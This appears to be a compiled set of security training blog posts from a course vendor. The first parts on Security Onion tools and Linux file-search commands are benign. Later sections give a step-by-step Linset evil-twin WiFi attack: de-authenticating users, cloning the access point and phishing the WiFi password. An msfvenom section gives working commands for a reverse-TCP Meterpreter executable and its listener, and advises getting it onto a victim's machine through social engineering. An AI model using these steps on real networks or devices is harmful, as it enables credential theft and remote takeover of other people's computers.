Security Onion Components

Introduction

Security Onion is a free and open source Linux distribution for intrusion detection, enterprise security monitoring, and log management. It includes Elasticsearch, Logstash, Kibana, Snort, Suricata, Bro, Wazuh, Sguil, Squert, CyberChef, NetworkMiner, and many other security tools. The easy-to-use Setup wizard allows you to build an army of distributed sensors for your enterprise in minutes.

How does Security Onion work?

Security Onion is built on a modified distributed client-server model. In the past, Security Onion relied solely on the use of a “sensor” (the client) and a Security Onion “server” (the server). With the inclusion of the Elastic Stack, the distributed architecture has since changed, and now includes the use of Elastic components and separate nodes for processing and storing Elastic stack data.

This means that a standard distributed deployment is now comprised of the master server, one or more forward nodes (previously called a sensor — runs sensor components), and one or more storage nodes (runs Elastic components). This architecture is ideal; while it may cost more upfront, this architecture provides for greater scalability and performance down the line, as one can simply “snap in” new storage nodes to handle more traffic or log sources.

Reference https://github.com/Security-Onion-Solutions/security-onion/wiki/Elastic-Architecture

Reference https://github.com/Security-Onion-Solutions/security-onion/wiki/Elastic-Architecture

In the image above we can see the architecture of a Security Onion Instance, this can be deployed in a distributed or standalone way. For our Lab, we will set up and standalone mode which combines the functions of a master serverforward node, and storage node.

Reference https://github.com/Security-Onion-Solutions/security-onion/wiki/Elastic-Architecture

In a standalone mode, the deploy consists of a single server running master server components, sensor, and Elastic stack components.

 

Technical Aspects of Security Onion:

As a Linux distribution based on Ubuntu, Security Onion contains several tools of security like Suricata, Snort, Bro, CapME, Squert, NetworkMiner, Wireshark, ELSA ( which are now Logstash + Kibana) and some others, all these tools are integrated in the system, the use of these features is quite easy to set up due to the complementation configurated for them is relatively easy to pivot between each one of them.

The principal objective of these tools is the detection of intrusions and the monitoring process of the network keeping special attention over the security events within the network. Now to understand a little better the functions of each tool we have to describe a few one of them which are the most used or relevant tools included in Security Onion:

OSSEC/HIDS:

OSSEC is a host intruder detection system, the technical characteristics of this tool are the following:

  • Rootkits Detection
  • Active response and notification in real time
  • System architecture based on a centralized service hosted by a server and several agents installed in the devices that need to be monitored.
  • Files verification system

Bro Security Monitor:

Bro Network monitor is a framework which is used for network monitoring activities, the technical characteristics of Bro monitor can be listed as:

  • Bro monitor includes features that can be used to scan the most common network protocols.
  • The information can be gathered in a database and can be consulted through ELSA or Logstash, which complements the information at the time that alerts need to be analyzed.
  • The tool can be used to monitor the network activity and generates active logs for TCP/UDP connections, network services, and software tools detected that affect the network, DNS requests, SSH petitions, SSL certificates integrity, HTTP activity and FTP shared services.

SNORT/NIDS:

Snort IDS which is based in an Open-Source software, the technical aspects of Snort can be listed as:

Functioning process:

  • Sensors which can capture network packets
  • Features which handled the normalization of the traffic
  • The tool detects threats and attacks and generates alerts for the administrators
  • The results of the threats captured are compared with previous patterns and rules created by the administrators to handle the threats
  • The scanning process can be switched to Suricata
  • The rules included in the detection scheme are updated automatically through a function called pulled-pork

Sguil:

Sguil is a console system which can be used for security analysis, the technical aspects of Sguil can be described as:

  • Sguil posses a graphic interface which allows the access to the security alerts, the data capture, and the session data.
  • Sguil posses integrated tools like  CapMe, Network Miner and Wireshark
  • All the alerts inform the context which has produced the initial error.

Here is a picture demo of the system that shows the event logs:

Squert:

Squert can be described as a web application which can serve to visualize events and posses the following characteristics:

  • Squert posses an analyst console which complements with Sguil
  • Squert import information about the context of alerts, group of events and creates a timeline to follow each aspect of them
  • It shows the Sguil database but it shows a different perspective of the data.

Elasticsearch

Elasticsearch is a distributed, RESTful search and analytics engine capable of solving a growing number of use cases. As the heart of the Elastic Stack, it centrally stores your data so you can discover the expected and uncover the unexpected.

reference https://github.com/Security-Onion-Solutions/security-onion/wiki/Elasticsearch

Logstash

Logstash is an open source, server-side data processing pipeline that ingests data from a multitude of sources simultaneously transforms it, and then sends it to your favorite “stash”.

reference https://github.com/Security-Onion-Solutions/security-onion/wiki/Logstash

Kibana

Kibana lets you visualize your Elasticsearch data and navigate the Elastic Stack, so you can do anything from learning why you’re getting paged at 2:00 a.m. to understanding the impact rain might have on your quarterly numbers.

reference https://github.com/Security-Onion-Solutions/security-onion/wiki/Kibana

As we have seen, Security Onion is built under a set of tools, each with a specific function, then we will see how to install Security Onion also explore each of the tools described in this lesson.

Try Certified Ethical Hacker for FREE!!!https://infosecaddicts.com/course/certified-ethical-hacker-v10/

How to find stuff in Linux

You’ll often find yourself looking for things. Here are some useful tips for just that. There are some commands that have proven useful for finding things in Linux.

find is a popular command line tool that searches for files in the directory hierarchy. The command searches the current directory and recursively searches subdirectories for the supplied criteria.

The -name argument allows you to find specific patterns of information. Of note, find is case sensitive so use -iname to avoid missing what you are looking for.

find . -name file

locate is a very fast way of searching for files on disk rather than searching for file paths on the system. By default, locate does not check if files still exist in the respective database. To update the database that locate searches is updated with the updatedb command. Locate a file on the Strategic Security Ubuntu VM. Using locate without any options will bring up results that contain the keyword.

Let’s locate the file r00kies. This file will need to be created for this example using the touch command. Use the touch command to create 3 different files with r00kies in the name. Make sure to update the database after these files are created using sudo updatedb.

This shows us 3 files, but we only wanted the r00kies files. Let’s use the -b option to search exactly what we want. The backslash disables the implicit replacement of “r00kies” by “*mydata*” so you end up with only what we are looking for.

locate -b ‘\r00kies’

whereis searches for binary files, source files, and man pages. This is useful when determining a file is executed from. To only show the executable only, use the -b option.

whereis firefox
whereis -b firefox

which command helps in returning the absolute path of the executable that is called. This makes creating shortcuts a bit easier. By default which only shows the first matching executable. To display all results use the -a option. Only the current user’s PATH variable are searched.

which firefox

Reference(s):

http://www.thegeekstuff.com/2009/03/15-practical-linux-find-command-examples/

http://www.howtogeek.com/112674/how-to-find-files-and-folders-in-linux-using-the-command-line/

If you are interested in learning more, we invite you to review this course.

Linux For InfoSec & Comptia Linux+ Exam Prep

Try Certified Ethical Hacker for FREE!!!

Linset

Linset is a tool of Spanish origin for that reason we have some screenshot are in Spanish.

If you are one of the people who like to test the security of wireless networks, Wifislax is the Linux distribution that will help you a lot. In this blog, we will show you one of the tools that are integrated.

The first thing we have to do is to download Wifislax.

Download links:

LINK1 FTP OFICIAL: http://www.downloadwireless.net/isos/wifislax64-1.0-final.iso

LINK2 MEDIAFIRE: http://www.mediafire.com/file/25rsmyz449g2csc/wifislax64-1.0-final.iso

LINK3 MEGA:  https://mega.nz/#!jsglSLxb!bZgdN7yeWvL2-xzPv7-15FOHf8FHnH6lWvCNogy2hTQ

DRIVER NVIDIA: http://www.mediafire.com/file/zoaebscconl6xrv/Driver_NVIDIA-367.57_wifislax64-x86_64-8sw.xzm

DRIVER AMD: http://www.mediafire.com/file/l422ezur7z2b61o/Driver_AMD-15.12_wifislax64-x86_64-8sw.xzm

After the download, you can install them as a virtual machine or in a pen driver, At the moment of initiating Wifislax we will have the following option, we select Run whit smtp kernel, and we give it to enter

Select wifislax with KDE Desktop and enter.

Let’s hope that Wifislax does not show its desktop environment

If you have wifislax installed as a virtual machine must connect a wifi antenna can be USB and you have to configure VirtualBox or VmWare to recognize your Wifi Usb card.

Now we click on linset as shown in the following image.

At this moment we have our tool ready to use.

The first thing that asks us is what adapter do we want to use? But in this case, we only have one option, so we press the 1 key and enter.

Then it tells us if we want all the channels or a specific channel. Take option one to analyze all the channels.

As you can see we are already scanning the WiFi networks that our antenna can capture.

For this case we will take the network called INFOSECADDICTS.

We close the scanning window to get the other options

we choose option 1

We select option 1 to perform a massive de-authentication of the AP

we have captured the handshake

we choose option 1 which corresponds to a neutral interface.

we select the English language

Now we just have to wait for the user to connect so that linset will ask for the password.

below we have the screenshot of the experience of a normal user connected to the network.

We have cloned the AP automatically as shown in the following image.

As soon as a user connects, we can see which sites he is consulting.

Now you are forcing him to write the password again.

Bingo, we have captured the password. we can already use metasploit for or any other tools to compromise the connected devices in the network.

Resources:

https://www.wifislax.com/

Try Certified Ethical Hacker for FREE!!!https://infosecaddicts.com/course/certified-ethical-hacker-v10/

How to use msfvenom

Msfvenom is the combination of payload generation and encoding. It replaced msfpayload and msfencode on June 8th 2015.

Entering from the ubuntu terminal with root user.

The new tool msfvenom incorporates a help in the terminal itself so that we know the “flags” that we can use, to enter this help it is enough to type:

To see what payloads are available from Framework, you can do:

msf5> msfvenom -l payloads

or

# msfvenom -l payloads

How to generate a payload

This command uses msfvenom to create a malicious executable file that will open a Meterpreter session using a reverse TCP payload. The listening host is your own computer.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.14 LPORT=4444 -f exe -a x64 -o /home/infosecaddicts/infoecaddicts.exe

We have created our malicious file called infosecaddicts.

This handler will listen for the payload and attempt to open a Meterpreter session onto the victim’s
computer.

msf> use exploit/multi/handler
msf> set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf> set LHOST 192.168.1.14
msf> set LPORT 4444
msf> run

After creating our malicious file we just have to get it to the victim machine and execute it, you can use social engineering or any other method.

As a result, you will have the meterpreter session.

In the same way that we did it for windows we can do it for any other operating system for examples: Android, iOS, Liniux etc …

Resources:

https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom

If you are interested in learning more, we invite you to review this course.

Ultimate Hacklab Self Paced

Try Certified Ethical Hacker for FREE!!!